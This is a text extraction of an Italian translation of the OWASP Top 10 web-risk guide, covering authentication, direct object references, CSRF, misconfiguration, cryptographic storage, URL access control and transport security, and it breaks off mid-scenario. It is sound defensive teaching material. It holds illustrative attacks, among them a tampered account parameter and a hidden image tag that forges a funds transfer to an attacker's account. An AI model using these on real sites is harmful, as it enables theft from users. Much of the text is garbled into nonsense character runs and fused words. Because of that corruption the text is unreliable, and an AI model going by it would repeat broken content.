suolDdi sessioneQuandoi suoiamiciuserannail link, userannda AESAPI Authenticator API

ionee | rtadi credito.
suasessionee lasuacartadi credito. AESAPI User AP

vy

Scenario #2un Timeouti sessionenaleimpostata [ Q dziiuSafrii ) o
computerpubblicopert Q' O&ifvécadef | NB  achiadd 2 diiil AOWASP Development Guide: Chapter on Authentication

semplicementda schedadel browser. Urattaccantecheusiquel AOWASP Testing Guide: Chapter on Authentication
browserdzy” Q @opldpotrebbetrovarlo ancoraautenticata Est .

. . . sterni
Scenario #3unattaccante interno o esternq riescead ottenere
f QF O& &ataldadalelle password: sguestenon sonocifrate, ACWE Entry 287 on Improper Authentication
ottiene le passwordli tutti gli utenti.



http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Authentication_Cheat_Sheet
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/User.html
http://www.owasp.org/index.php/Guide_to_Authentication
http://www.owasp.org/index.php/Testing_for_authentication
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/287.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html

JAVAN |nsecure Direct Object References

—— o
Vettori di Problematiche Impatti Impz?\ttl di
Agenti di Attacco di Sicurezza Tecnici Business

Inaccia
Diffusione Impatto
COMUNE MODERATO
Considerare [ QF G [utedd vy (L% applicazioni utilizzano spesso il nome Tali difetti possono Considerare il valore
differenti tipi di autorizzatodel sistema effettivo o la chiave di un oggetto durante compromettere tutti i di business dei dati
utenti delsistema  cambiasemplicemente la generazione di pagine webe dati che sono referenziati esposti.
Gliutenti hannosolo unvalorediun applicazionhon sempreverificanose da quel parametro. Consid he af
accessparzialea  parametrqg chefa t QdzieufoliBatol  { QldAOSE a2 - . onsyerallrs anche g
determinatitipi di  riferimentodiretto ad  determinatooggetto Questopudcausare ** MENO che i name Impatti sul business |

dati presentinel unoggetto accedendo unavulnerabilitachiamatalnsecure Direct space sia offuscato (es: relazione alla

sistem& ad unaltro oggetto ‘Object Reference. nomi e chiavi arbitrari o divulgazione della
senzachet Q dziiaBbya i randomici), € semplice  vulnerabilita del

f Ol dzii 2 NRT T I C?‘? didyt?l testing possono facilmente per un attaccante sistema.
necessarig QI O& g are la presenza della vulnerabilitaindovinare i riferimenti e
consentitd? Ala agendo sui valori dei parametri che  accedere a tutti i dati di _
Sa4S3dz2SyR2 f Ql yI fAaAiquakthe. O2RAOS®

Sono vulnerabile? Come prevenire?

Lt Y2R2 YAIEA2NB LISNI GSNXTAOI N Prevenirde vulnerabilitadi InsecureDirect Object Reference
@dzt YSNI 0AES |t QLYaSOdz2NE 5 futNb fi richiededi adottareun approccioper ciascunaisorsaaccessibile
i riferimenti agli oggetti siano opportunamente protetti. Considerarfly R I £ f Q(dgloBjgttiEomefile):

1972

che: - S . S .
1. Utilizzare i riferimenti ad oggetti indiretti assegnati per utente o
1. Per i riferimentidiretti ad una risorsa soggettarestrizioni di sessione. Cioserve gprevenirechegli attaccantipossancaccederea
 00S&aaz2 = tQl LIWX AOIT A2y S RS@S|| risorseper lequalinonsonoautorizzati Peresempiq invece di
accedere alla risorsa richiesta. utilizzare la chiave della risorsa del database, sottoporre all'utent
o e . . L una lista indicizzata con i valori che l'utente puo utilizzare, ad
2.Se il riferimento e di tipandiretto , il mapping al riferimento §a8YLMA2 RE M F c® [ QFLILX AOFT A

RANBUUZ RSOS SdasNb tAYAUlGz2 y 5t f Qehidvkdiliddtbaseulserverh 2 | { t Qainclade !
La revisione del codice pud rapidamente verificare se il metodo dij|] metodidi access@equenziale random aeference mapshe
protezione & stato correttamente implementato. Anche il security || Possonoessereutilizzatiaquestoscopa

testing € efficace per individuare eventuali vulnerabilita nei 2.Controllo R $ £  Q Y GiizZo2li un riferimento diretto ad
riferimenti diretti ad oggetti. Gli strumenti automatici in genere nof|f u'n oggetto da una fonte non attendibile, deve prevedere un

cercano tali difetti perché non possono conoscere a priori il livello ff conirolio di accesso per garantire che l'utente sia autorizzato a ta)
protezione ed autorizzazione adeguato di una risorsa.

accesso.
ESempl10 di scenario di attacco e - :
[ QI LILX Amgadaii nbravetificatiin unachiamataSQlcheaccede Riferimenti
alleinformazionidegliutenti: OWASP
String query = "SELECT * FROM accts WHERE account = ?"; AOWASP Top 12007 on Insecure Dir Object References
PreparedStatement pstmt = AESAPI Access Reference V@i

el AT R G ) el o on s S U AESAPI Access Control Rk isAuthorizedForData(),

pstmt.setString( 1, request.getParameter(*acct")); isAuthorizedForFile(), isAuthorizedForFunction() )

ResultSet results = pstmt.executeQuery(); Per ulteriori requisiti di controllo di accesso, vedere
ASVS requirements area for Access Control (V4)

[ QI G G ImGi@icagetnBicementel parametroW | O OpraprioR §
browser. Sel parametrononvieneverificato f QI 3 3 Nligeala 2 |l
proprio accountpu0 accederea qualsiasaltro account. External

http://example.com/app/accountinfo?acct=notmyacct ACWE Entry 639 on Insecure Direct Object References

ACWE Entry 22 on Path Traversethich is an example of a Direct
Object Reference attack)



http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/639.html
http://cwe.mitre.org/data/definitions/22.html
http://www.owasp.org/index.php/ESAPI

AS

(CSRF)

Sfruttamento
MEDIA

Agenti di
Inaccia

Considerarehe
chiunquepuo forzare
gli utenti generando
unarichiestasuun
sitoweb. Qualsiasi
sito o codice HTML
puo effettuare tali
richieste.

richieste HTTP
la vittima attraverso

numerose altre

riesce.

test o code analysis.

Problematiche
di Sicurezza

[ QF GG OO0 y GSRr@GNXBtb dalleapplicazionche
permettonol £ £ QI {dipre@e@dreiiii &
malevoli ingannando dettaglidi unaparticolarefunzioneapplicativa
Datochei browserinvianoautomaticamente
immagini, tag, XSS o le credenzialcome cookiali sessione

f QF G puddddargpadinewebmalevoli
iSOy AOKS® ¢hSgerie@ntaictegtécontraifatte,

F dzii Sy G A OF Elcﬁstlr@lmlildaqubll@ltigﬁtlme

[ QA Y RA Jdi Rilderabilita2i SRF &
abbastanzaempliceattraversopenetration

Cross-Site Request Forgery

— .
Impatti Impatti di
Tecnici Business

Impatto
MODERATO

[ QF GG OO y GCdhsideldrsd il valore

forzare le vittime a di business delle
modificare le informazioni e delle
informazioni funzioni applicative,
&dzf £ QI LILI A Goin éskedds Sicuri
bersaglio o ad che siano gli utenti
utilizzare tutte le effettivi ad usarle.
funzioni alle quali la

vittima ha accesso Considerare anche

f QAYLI GG 2
reputazione.

Sono vulnerabile?

Il modo pit facile percontrollaresedzy” Q I LILJ weldd T A 2 v
vulnerabileé verificaresetutti i link ei form contengonoun token
non prevedibileper ogniutente. Senzajuestof QI (i G pud O V]
generarerichiestemalevoli Focalizzaré QI ( (i Sufirk & Bryi S
cheinvocanofunzioniparticolarmenteimportanti, in quantosono
spessa principalibersaglidel CSRF

Vannocontrollateanchele operazionia piu step, inquantonon
sononaturalmenteimmuni.[ QF 4 ( [ufligzandoia@multipli o
codiceJavascriptpuo facilmentegenerarenon una, maunaseriedi
richiestemalevoli

Notarechei cookiedi sessionef QA y Psoxgkniteé I2altre
informazionichesonosolitamenteinviate in automaticodal browser
potrebberoesserestate alterate.

IICSRF Test& S £ f Q pernefterdi generaredeitest case per
dimostrarela pericolositadelle vulnerabilitaCSRF.

vy

Come prevenire?

Perprevenireil CSRF Becessariancluderetoken non prevedibili

nel corpo della pagina o negli URL di ogni richiesta HTTP. Come
minimo, questi token dovrebbero essere unici per ogni sessione
utente, anche se sarebbe meglio f Q dz({ di tbkenl uhic2per ogni
richiesta.

1.[ Q2 LI A 2y SeindNdere Btdkknoiniuh &mpo nascosto.
Cio permette che il token venga inviato nel corpo della richiesta,
SGAGIYR2 RA AyOfdzZRSNI2 yStfQ!

2.1l tokenpud ancheessereinclusoy St f, @domeparametro
yStt Q ABEIR In dlestomeédo, sef Q !vierfeintercettato
RFEff Ql usu:cbrré)lI@lkCymdﬁcomprometterell token.

Il CSRF Guarid OWASRu0 essereusatoperincludere
automaticamentequestitoken nellapropriaapplicazioneJAVA EE,
.NET o PHP. librerie ESAPdi OWAShcludonogeneratorie
validatoridi token chegli sviluppatoripossonousareper proteggere
le proprie applicazioni

9aSYLIA RA

[ Q LILX pebretieh 2 § 8 didv@rgabc®ssallafunzionedi
trasferimentofondi senzancluderealcuntoken, ad esempio

http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243

Cost QI i ( btrOtra yharishiestachepermette di trasferire
fondi dal conto dellavittima al proprio. Dunqueinseriscdarichiesta
y St t QARYSR A& NI IAplrelh iffafe nei siti che controlla

<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#d
width="0" height="0" />

Se lavittima visitauno di questisiti quandoe autenticatosu
example.comtutte le richiestemalevoleincluderanncanchele
informazionidi sessionek S f f QalmérficAtd &utorizzandda
richiesta

{ OSY I NN

Riferimenti

OWASP

AOWASP CSRF Article

AOWASP CSRF Prevention Cheat Sheet
AOWASRESRFGuardCSRF Defense Tool

AESAPI Project Home Page
AESAPHTTPUtilitie€lass withAntiCSRFokens
AOWASP Testing Guide: Chapter on CSRF Testing
AOWASRESRFTesteCSRF Testing Tool

Esterni
ACWE Entry 352 on CSRF



http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/CSRF
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://www.owasp.org/index.php/Testing_for_CSRF_(OWASP-SM-005)
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/352.html
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/ESAPI

Agenti di

Inaccia
Diffusione Impatto
COMUNE MODERATO
Attaccantiesternio [ QI G { lp®O | y GlRrrori di configuraziongossono Alcune vulnerabilita Il sistemapud essere
utenti interni che usarecredenzialdi presentarsia qualsiaslivello dello stack permettono ~ compromesssenza
tentino di default,paginenon applicativocome:piattaforma, web server, F£€QlF 4udl OOlastiar&viderze |l @
compromettereil pitiusate application server, framework eodice accesso non dati possoncessere
sistemaoppuredegli  vulnerabilitanon personalizzatoSviluppatorie amministratori  autorizzato a sistemi, rubati o modificatinel
insiderchevogliano  risolte, file ecartelle  direte devonolavorareinsiemeper assicurare dati o funzionalita. A tempo.
mascherarde proprie nonprotetti, ecc per chef QA tacksid@rrettamente volte, alcune di questeGl. walicostidi
azioni accederealsistemao  configurata Gliscannerautomaticisonoutili  compromettono Ieventualicostidi
raccogliere per scovarepatchmancantj errori di t QAYUSNR a ;\e%uge%aqo[?swo
informazioniriservate configurazionecredenzialdi default, servizi Esgd el
non necessariecc

Sono vulnerabile? Come prevenire?

Tutto lo stackapplicativoe stato configuratocorrettamente? Leprincipaliraccomandaziorionsistono/ St f QA Y LI SY S
1. Epresenteun processqer lagestionedegliaggiornamenti 1. Unprocessaipetibile per lamessan sicurezzalei vari ambienti
software? OS, Web/Application Server, Databagmlicazioni coinvoltinello sviluppodel software Gliambientidi Sviluppg QA e
Librerie? Produzionedevonoesseretutti configuratiallo stessomodo. Questo
2. Tutti gli elementinon strettamentenecessarsonostati pr(;]qestsajovrebbeessereautomatlzzatq)erm|n|m|zzard A
disabilitati rimossio noninstallati? s porte, servizj pagine richiesta

account,privileg) 2.Unprocessqer lagestionedegliaggiornamenti software pesgni
3. Lecredenzialdi default sonostate cambiaté disabilitate? ambientecoinvolta Inquestoprocessa/annoinclusianchegl

) ) . ) ) aggiornamentdi tutte le librerie di codice, chesono

4. Lagestionedeglierrori e stataconfigurataper prevenirela frequentementetralasciate

visualizzaziondi messaggchepotrebberorilasciareinformazioni ) ) o )

utili? 3. Unasolidaarchitetturaapplicativachepermette di tenere

. o . . separatii varicomponenti
5. Leimpostazionidi sicurezzalei framework s Struts, Spring,

ASP.NEBpnoopportunamenteconfigurate? 4. Effettuarescansione auditperiodiciper identificareeventuali

N . S errori di configurazioneo aggiornamentmancanti
Enecessarian processden strutturato e ripetibile per

implementaree mantenerele configurazionin sicurezza

94SYLA RA { OSyl NK Riferiment

Scenario # Estato utilizzatoun frameworkdi sviluppoche OWASP

presenta in alcunecompoqenti'dellevulnerabilitaXSS. A . . .

[ QF 33 A 2 NgfrisolvBrigdisatorilasciatoma lelibrerie non OWASP Development Guide: Chapter on Configuration
sonostateaggiornatee levulnerabilitasonosfruttabili. AOWASP Code Review Guide: Chapter on Error Handling

Scenario #2l acomponenteamministrativadel Server é&tata

installataautomaticamente non éstatarimossae lecredenzialdi AOWASP Testing Guide: Configuration Management

default nonsonostatecambiate[ QI (i (i Ipud thovayel S AOWASP Testing Guide: Testing for Error Codes
facilmentetale componentee utilizzarele credenzialdi default per . )

prendereil controllo del server. AOWASP Top 10 200#secure Configuration Management
Scenario #3ll Directory Listing non statodisabilitata [ Q' @ @] Perirequisitiaddizionali ASVS requirements area for Security
scoprechepuo ottenere la listadeifile escaricarde classjava Configuration (V12)

compilate[ QI O &l &dicegermette unaricercadelle Esterni

vunerabilitapit velocee pratica

Scenario #4l aconfigurazionek S f  Sedvededmnettela APC Magazine Article on Web Server Hardening
visualizzazioneello stack tracegsponendceventualifalle. Gli ACWE Entry 2 on Environmental Security Flaws

attaccantiamanoottenere le informazionitramite i messaggdli
errore. ACIS Security Configuration Guides/Benchmarks



http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Configuration
http://www.owasp.org/index.php/Error_Handling
http://www.owasp.org/index.php/Testing_for_configuration_management
http://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006)
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://www.pcmag.com/article2/0,2817,11525,00.asp
http://cwe.mitre.org/data/definitions/2.html
http://cisecurity.org/en-us/?route=downloads.benchmarks

AT

Storage

Vettori di
Agenti di Attacco
Inaccia

Diffusione
POCO COMUNE

Sfruttamento
DIFFICILE

Tipicamente gli

Gliutenti del proprio

sistemache attacchi vengono

potrebberoaccedere effettuati i dati sono cifrati, € una pratica diffusa usare possibile

adati protetti senza individuando le chiavi chiavi poco robuste o algoritmi deboli. Se soncompromettere i dati
opportuna crittografiche, le LINBaSyiArA KIakKkz 8§

autorizzaziong copieinchiarodei I f 32NAGYA RA RSo02f A

compresigli dati o accedendovi  Gli attaccanti esterni hanno generalmente

amministratoridi guando i dati sono

sistema ancora in chiaro. Avendo un accesso limitato devono prima

Problematiche
di Sicurezza

La vulnerabilita piu comune consiste nel non Sfruttandoquesto
cifrare i dati che dovrebbero esserlo. Se inve@taccoe spesso

Insecure Cryptographic

Impatti
Tecnici

Impatti di
Business

Considerare il valore
SO02y2YA02
sulla reputazione in
caso di furto o perdita
F N3B Ghedyfehiiro t Q dzdeh dath QuialisonR I8

Individuazione
DIFFICILE

Sssefefddtedti Zddng 1 Fesp&nSabilitzéldgali (i
dati sanitari correlate alla gestiong

difficolta ad individuare queste vulnearbilita. credenzalR QI Q O Sdeizlati?

dati di cartedi credito,

sfruttare altre vulnerabilita per accedere ai  ecc

dati.

Sono vulnerabile?

Innanzituttobisognadeterminarequalidati necessitanalella
cifratura. Peresempiodati sanitarj dati di cartedi credito, password
ed informazionipersonalidevonoesserecifrati assicurandosihe:

1. Sianccifrati in qualsiaspunto venganosalvatj in particolarenelle
copiedi backup.

2. Sologli utenti autorizzatipossancaccederea copiedeidatiin
chiaro(peresempioattraversoil controllo degliaccessiCfrA4 ¢ A8)

3. Siautilizzatoun algoritmostandarddi cifraturaritenuto robusto.

4. Sianoutilizzatechiavirobuste debitamenteprotette daaccessi
non autorizzaticambiateperiodicamente

Per uninsiemepiu completodi problematicheda evitare ASVS
requirements on Cryptography (V7)

Come prevenire?

t NBYSGGSYyR2 OKS fQAYGSNI LINEBOG
AYyaAOdaNy gl 2Tt 0NB I ac¢2L) mnég
protetti € opportuno, come minimo:

1. Considerare le minacce da cui proteggere questi dati (per eser

utenti interni, attaccanti esterni) e assicurarsi di proteggere tutti i
dati in maniera opportuna a seconda delle minacce.

2.Assicurasi che i backup siano cifrati, e che le chiavi siano gesti
salvate separatamente.

3. Assicurarsi che siano usati algoritmi standard considerati robu
che le chiavi siano forti e gestite correttamente.

4. Assicurarsi che le password siano protette da algoritmi di hash
robusti e con il salt.

5. Assicurarsi che tutte le chiavi e le password siano protette dag
accessi non autorizzati.

EsempidiScenariR Q! G i OO?2

Scenario #1! Y Q| LILJ difr@ilddti defleyatedi credito

I £ £ QAdyui datdBage peprevenirnelavisionead utenti esterni
mal t f Q Adgl dafabegednopresentiquerychedecifrano
automaticamentequestidati, permettendq tramite unaSQL
Injection,di ottenerli in chiara Il sistemadovrebbepermettere
solamentealle applicaziondi backenddi decifrarei dati, evitando
tali operazionidalle applicazioniveb di front-end.

Scenario #2E stato effettuato un backupsualcunidati sanitarima la
chiavee inseritasullostessobackup. Isupportodove épresenteil
backup norvieneconsegnato

Scenario #3ll databaselelle passwordutilizzahashsenzasalt. Una
vulnerabilitanel meccanismali uploadpermettel £ £ QI Gdi I G
ottenereil file delle passwordTramitebrute force epossibile
ottenerele passwordsenzasalt in 4settimane mentre per hash con
opportunisaltci sarebberovoluti 3000anni.

Riferimenti
OWASP

Per uninsiemepiu completodi requisitie problemidaevitare
F £ £ Q Adyfj idESN/isd riferidento a ASVS requirements on

Cryptography (V7)
AOWASP Top #2007- Insecure Cryptographic Storage

AESAPENcryptorAPI

AOWASP Development Guide: Chapter on Cryptography
AOWASP Code Review Guide: Chapter on Cryptography
Esterni

ACWE Entry 310Cryptographic Issues

ACWE Entry 312CleartextStorage of Sensitive Information
ACWE Entry 326Weak Encryption



http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://www.owasp.org/index.php/Guide_to_Cryptography
http://www.owasp.org/index.php/Codereview-Cryptography
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/326.html
http://cwe.mitre.org/data/definitions/326.html
http://cwe.mitre.org/data/definitions/326.html
http://cwe.mitre.org/data/definitions/326.html

A8

Agenti di
Inaccia

Vettori di
Attacco

Diffusione
POCO COMUNE

Chiunqueabbiaun
accessallarete, che
puoinviarerichieste  pagine per le quali

I £ f QF LILI A Ohon hadng Bprivilegi
Utenti anonimio richiamandone
registratipotrebbero £ QA Y RA NA | |
accederea pagine Gli utenti anonimi
privatesenzaaverei  possono accedere a
privilegiadeguat? pagine private?

Gli utenti registrati

Leapplicazionnon sempreproteggonole
possono accedere allepagineprotette in modo appropriata La
protezionedelle URLpotrebbeesseregestita
tramite configurazione maquestanon e
effettuatain manieracorretta ¢ oppure
gafite verificheapplicative- magli
sviluppatoripotrebberodimenticarsidi
inserirein tutte le paginele verifiche
opportune. Esempliceidentificarequeste
vulnerabilitama edifficile identificarele
pagine(URLgsistentida attaccare

Failure to Restrict URL Access

Problematiche
di Sicurezza

Impatti Impatti di
Tecnici Business

Questa vulnerabilita Considerare il valore
permette ad un economico delle
attaccante di accederefunzioni esposte e de
a funzionalita dati che esse
particolari senza gestiscono.
opportuna
autorizzazione.
Principali bersagli
sono le pagine di
amministrazione.

Individuazione
MEDIA

Impatto
MODERATO

Inoltre bisogna
02y ai RSN
sulla reputazione se |
vulnerabilita viene
resa pubblica.

Sono vulnerabile?

Il metodo migliore per verificaresedzy” Q I LILJ nbrdimifa A 2 y
correttamentef Q | O&dl8r&a@R2. &uelladi verificareogni
pagina stabilendosedeveessereconsideratgpubblicao privata. Se
la paginae stataconsideratgprivata

1. Enecessari@utenticarsiper accederv?

2.Deveessereaccessibilatutti gli utenti autenticati? Incaso
contrariovengonoeffettuate verifichedi autorizzazionger
assicurarsthesologli opportuni utenti abbianoil permessadi
accedereaquestapaging?

Sesonoutilizzatisistemidi sicurezzasternil £ £ QI LILgerA O |1

gestireautenticazionee autorizzaziongassicurarsthesiano
propriamenteconfiguratiper tutte le pagine Sevieneutilizzata una
protezionea livello applicativqg verificarechela protezionesia
applicatain tutte le pagine Tramiteattivita di Penetration Testing &
possibilecontrollarese laprotezioneé statapropriamenteapplicata

&

Come prevenire?

I LINBaOAyRSNB
F £ € QF LILJ AOF | A2
necessario che:

REEE QdziAf A
yS LISNI f I

1. Le policy di autenticazione ed autorizzazione siano basate suli

LISNI YAYAYATTFNB €t QSFF2NI yStt
208 LRtAOR &Aly2 FtSaaAoAtA L
FLILX AOFGAG2 LISNI ot 200k NB £ QF O

3[ S NB3I2tS yS3IKAy2 fQl 0O0Saaz
singola pagina siano necessari permessi specifici ad utenti speci
4 QL 00Saaz2 ttS LI 3AAYyS OKS TI
composto da piu passi avvenga solo tramite quelli previsti.

EsempidiScenariR QI G G0 OO?2
Supponendaheperaccederd: {  tapmir[_getapplnfé sia

necessarid Q| dzii S ydidkittd specKicdiya®ministrazione Se
un attaccante semplicementeichiedendole seguentiURL:

http://example.com/app/getapplnfo
http://example.com/app/admin_getappInfo

ottienet QI O&u$ @naninoo autenticatomasenza permessi
amministrativi allora3d S y' S Nacceskyion autorizzat@ ed &
presentela vulnerabilita

Questevulnerabilitasonospessdntrodotte quandocollegamentio
bottoni sonosemplicementenascostad unutente non autenticato
ef QI LILI rodutilizzRcppbiduni sistemidi protezionedelle
pagine

Riferimenti

OWASP

AOWASP Top 12007- Failure to Restrict URL Access
AESAPI Access Control API

AOWASP Development Guide: Capitolo sulla Autorizzazione
AOWASP Testing Guide: Testing for Path Traversal
AOWASP Articolo sul Forced Browsing

Per informazioni aggiuntive sui requisiti per il controllo degli acce|
requisiti ASVS per il Controllo degli Accessi.(V4)

Esterni
ACWE Entry 285improper Access Control (Authorization)



http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html
http://www.owasp.org/index.php/Guide_to_Authorization
http://www.owasp.org/index.php/Testing_for_Path_Traversal
http://www.owasp.org/index.php/Forced_browsing
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/285.html
http://cwe.mitre.org/data/definitions/285.html
http://cwe.mitre.org/data/definitions/285.html
http://cwe.mitre.org/data/definitions/285.html

A9

Protection

Vettori di
Attacco
Sfruttamento
DIFFICILE

Agenti di
Inaccia

Diffusione
COMUNE

Monitorare il traffico
di rete degli utenti
puo risultare difficile,
@& rork s2rypte. La
difficolta primaria sta
nel monitorare il
traffico nel momento

Chiunquepossa
monitorareil traffico
direte degliutenti
RSt f Ql Lisia A
front chebackend.

Se éespostasu
Internet, chiunque

correttamente.

Problematiche
di Sicurezza

Spesso le applicazioni non proteggono

correttamente il traffico di rete, utilizzando
SSL/TLS solo durante la fase di autenticazion@ortare al furto di un dati esposti sui canali
anche con certificati scaduti 0 non configuratiaccount che, se

Per individuare le vulnerabilita piu semplici e
nte mogito rare il traffico. Vulnerabilita
mp esse sono invece individuabili

conoscacomegli Ay Odzh degﬁjg
utenti viaccedono utilizzando il sito & 3
vulnerabile. dl YAYl yR2

Insufficient Transport Layer

Impatti
Tecnici

Impatti di
Business

Sono esposti i dati Bisogna considerare
degli utenti e possono valore economico dei

Impatto
MODERATO

di trasmissione in
amministrativo, puo  base alla

portare alla confidenzialita ed
compromissione integrita richiesta, ed

RSt t QA y (i S N&lla dedessia di2 LI

ol NDKA 6 & JRUBRE o ispinapreisagere f pracess

Ia conflgura2|one del server.

Sono vulnerabile?

Epossibilestabiliresedzy” Q I LILJ utili@zatingdpebigzone
insufficientedel canaledi trasportoverificandoche

1. SSlsiautilizzatoper tutto il traffico legato alprocessai
autenticazione

2.SSlsiautilizzatopertutte lerisorsel f f Q Adgllé paditdge2
token di sessiongevitandocosit Q dziimistoali B$L Zisorsein
chiarg chevienesegnalatadal browser ecausd QS @Sy (i dzl
esposiziongR S t di 4ésibne

3. Sianoabilitati solamentealgoritmi consideratirobusti.
& 6D dedkie. LIS NJ
5.1l certificatodel serversiavalido, configuratocorrettamente

rilasciatoda un ente autorizzatq nonrevocatoe checorrispondaai
nomi di dominio utiizzati

4. Siaimpostatoil ¥ £ | 3

Come prevenire?

Considerand@heunacorretta protezionedel canaledi trasporto
pudinfluire & dzf QI NJasohzioBefilisdmpliced utilizzare
SSL pef Q A yipplBasibnes, sesipresentanoproblemidi
performance utilizzarlosolo per lepagineriservateo critiche anche
sequestopuo esporregli IDdi sessionee altri dati sensibili Per
garantireunacorretta proteziong comeminimo:

1.RichiedereSSL petutte le paginecontentidati sensibilie
redirigerlesul canaleprotetto serichiestein chiara

2.lmpostareil T f | 3 & & § QukEESke), 2

3. ConfigurareSSL pesupportaresolamentealgoritmirobusti (ad
esempiqg conformia FIPS 14Q).

4. Assicurarstheil certificatosiavalido, nonscadutg nonrevocatq
ecorrispondaaldominioR St £ QF LILJX AOI | A2y S

5. Proteggereancheil backend con SSLatre tecnologiedi
cifraturadei dati.

EsempidiScenariR QI G Ul OO2
Scenario #1Unsito non utilizzaSSL peproteggereunapaginache
